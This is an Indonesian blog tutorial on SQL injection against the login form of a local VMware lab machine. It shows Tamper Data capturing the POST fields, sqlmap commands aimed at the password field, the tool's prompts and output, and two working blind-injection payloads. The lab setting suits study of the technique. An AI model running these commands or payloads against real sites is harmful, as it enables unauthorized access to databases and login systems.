level 4. Pada tutorial kali ini, saya tidak menggunakan live target,
karena saya rasa itu bersifat merusak. Sehingga saya coba metode ini di
localhost dengan bantuan VMware. :D
Bahan - Bahan Yang Akan Kita Gunakan Pada Tutorial SQL Injection Level 4 :
- Mozilla Firefox *
- Tamper Data *
- SQLmap *
Kali ini, vmware saya telah berjalan dan memiliki ip address
172.16.33.131. Saya buka firefox, kemudian saya masukan IP address
172.16.33.131 pada address bar.
class="separator" style="clear: both; text-align: center;">
Setelah Itu Test Login Dengan :
Username : adminKemudian Hasil-nya :
Password : admin
class="separator" style="clear: both; text-align: center;">
Kita berada di halaman checklogin.php . Disini tidak ada parameter untuk
diuji. Mungkin saya bisa menguji data yang dikirim ke server. Saya
kembali lagi ke halaman login. Dengan Username Dan Password :
Username : admin Password : '
Dan Hasilnya :
class="separator" style="clear: both; text-align: center;">
Kelihatannya web ini Vulnerable . Namun tetap tidak ada parameter.
Sehingga dapat disimpulkan bahwa vulnerability bukan terletak pada
parameter, melainkan DATA. Untuk mengecek data yang dikirim ke server,
saya gunakan Tamper Data .
2. Tamper Data In Action
Jika anda belum memiliki tamper data, anda bisa Mendownloadnya Lewat link ini >>. Namun add-on ini hanya dapat digunakan di Mozilla Firefox. Dan tidak dapat digunakan di Browser lain.
Setelah menginstall, tamper data dapat diaktifkan di Tools --> Tamper Data
class="separator" style="clear: both; text-align: center;">
Kembali ke halaman login Dengan Username & Password :
Username : admin
Password : 123
Maka tamper data akan mengambil setiap data yang terjadi selama proses transfer data dari client ke server, maupun sebaliknya.
class="separator" style="clear: both; text-align: center;">
OK. Saya temukan POSTDATA=myusername=admin&mypassword=123&Submit=Login.
Ternyata ada 3 data di sini. yaitu myusername, mypassword, dan Submit.
Dan kita telah mengetahui bahwa data password vulnerable. Selanjutnya
kita akan gunakan SQLmap untuk menguji database menggunakan informasi
yang telah kita dapatkan.
3. SQLmap in Attack
red-dragon [~] >> cd /pentest/database/sqlmap/ red-dragon [/pentest/database/sqlmap] >> python sqlmap.py -u http://172.16.33.131/checklogin.php --data="POSTDATA=myusername=admin&mypassword=123&Submit=Login" -p mypassword --flush-sessionKeterangan :
-u = url [Pesan error muncul pada halaman checklogin.php]
--data = [Kali ini kita akan memberikan data pada server dengan cara tampering / menyuap]
-p = parameter [Parameter yang vulnerable adalah mypassword
--flush-session = Bagian ini tidak masalah jika tidak disertakan.
class="separator" style="clear: both; text-align: center;">
Muncul pertanyaan :
parsed error message(s) showed that the back-end DBMS could be MySQL. Do
you want to skip test payloads specific for other DBMSes? [Y/n]
Saya tekan "n" [tanpa tanda kutip], kemudian "enter"
Kemudian muncul lagi :
sqlmap got a 302 redirect to 'http://172.16.33.131:80/login_success.php'. Do you want to follow? [Y/n]
Saya tekan "n" [tanpa tanda kutip], kemudian "enter"
dan berujung pada CRITICAL :
[CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values
to perform more tests. As heuristic test turned out positive you are
strongly advised to continue on with the tests. Please, consider usage
of tampering scripts as your target might filter the queries. Also, you
can try to rerun by providing either a valid --string or a valid
--regexp, refer to the user's manual for details
class="separator" style="clear: both; text-align: center;">
4. Over
Saya coba naikan level dan risk pada testing SQLmap menjadi 5.
red-dragon [/pentest/database/sqlmap] >> python sqlmap.py -u http://172.16.33.131/checklogin.php --data="POSTDATA=myusername=admin&mypassword=123&Submit=Login" -p mypassword --level=5 --risk=5
class="separator" style="clear: both; text-align: center;">
Kemudian muncul lagi:
sqlmap got a 302 redirect to 'http://172.16.33.131:80/login_success.php'. Do you want to follow? [Y/n]
Saya tekan "n" [tanpa tanda kutip], kemudian "enter"
Dan muncul pesan yang membahagiakan:
POST parameter 'mypassword' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
Saya jawab "n", kemudian "enter".
Dan payload untuk website ini adalah:
Place: POST
Parameter: mypassword
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: POSTDATA=myusername=admin&mypassword=-3973' OR (5599=5599) AND 'eHOv'='eHOv&Submit=Login
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: POSTDATA=myusername=admin&mypassword=123' AND 2246=BENCHMARK(5000000,MD5(0x77544b50)) AND 'bGtM'='bGtM&Submit=Login
class="separator" style="clear: both; text-align: center;">
created by : red-dragon
Semoga Bermanfaat :D ,
Sumber : http://r14nulr00t.blogspot.com/2012/04/tutorial-sql-injection-level-4.html
Anda sedang membaca artikel tentang Tutorial SQL Injection Level 4 dan anda bisa menemukan artikel Tutorial SQL Injection Level 4 ini dengan url https://kucing4rt.blogspot.com/2012/04/tutorial-sql-injection-level-4.html. Terima kasih telah membaca Tutorial SQL Injection Level 4 .
Terima kasih telah berkunjung.
Jangan lupa tulis komentarnya ya.